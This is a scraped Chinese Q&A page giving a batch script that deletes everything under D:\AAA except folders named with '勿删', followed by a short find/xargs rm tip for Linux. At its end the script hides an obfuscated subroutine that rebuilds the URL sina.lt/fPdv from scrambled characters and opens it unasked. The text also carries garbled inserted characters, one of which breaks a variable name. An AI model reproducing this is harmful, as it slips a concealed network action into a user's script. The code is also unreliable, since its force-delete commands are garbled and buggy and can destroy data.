批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?

批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?,第1张

@echo off &title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶

cd /d "%%~dp0"

::设置要处理的主目圆配录路径

set ScrFolder=D:\AAA

::设置要排除包含的字符,多个字符之间,请用英袜腔吵文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来

set SkipStr=勿删

cd /d "%ScrFolder%"

for /f "delims=" %%a in ('dir /ad-h') do (

  for %%i in (%SkipStr%) do (

      echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"

  )

)

for /f "delims=" %%a in ('dir /a-d-h') do (

  del /f /q "%%~a"

)

pause

call :GVME

exit

:GVME

set "S1=.:ailnhpst/"

set "S0=fPdv"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "告侍S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit

脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。

在某个目录下查找文件可使用find命令

$ find /path -name filename

删除文件使用rm命令

$ rm /path/filename

可以将两个命令使用xargs组合起来,即

$ find /path -name filename | xargs rm

xargs的作用就是把卖烂标准输祥薯入的每一行文字当做参数中宴漏执行后面的命令(本例中为rm),如果标准输入为多行则调用多次其后面的命令


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/12211470.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-21
下一篇 2023-05-21

发表评论

登录后才能评论

评论列表(0条)

保存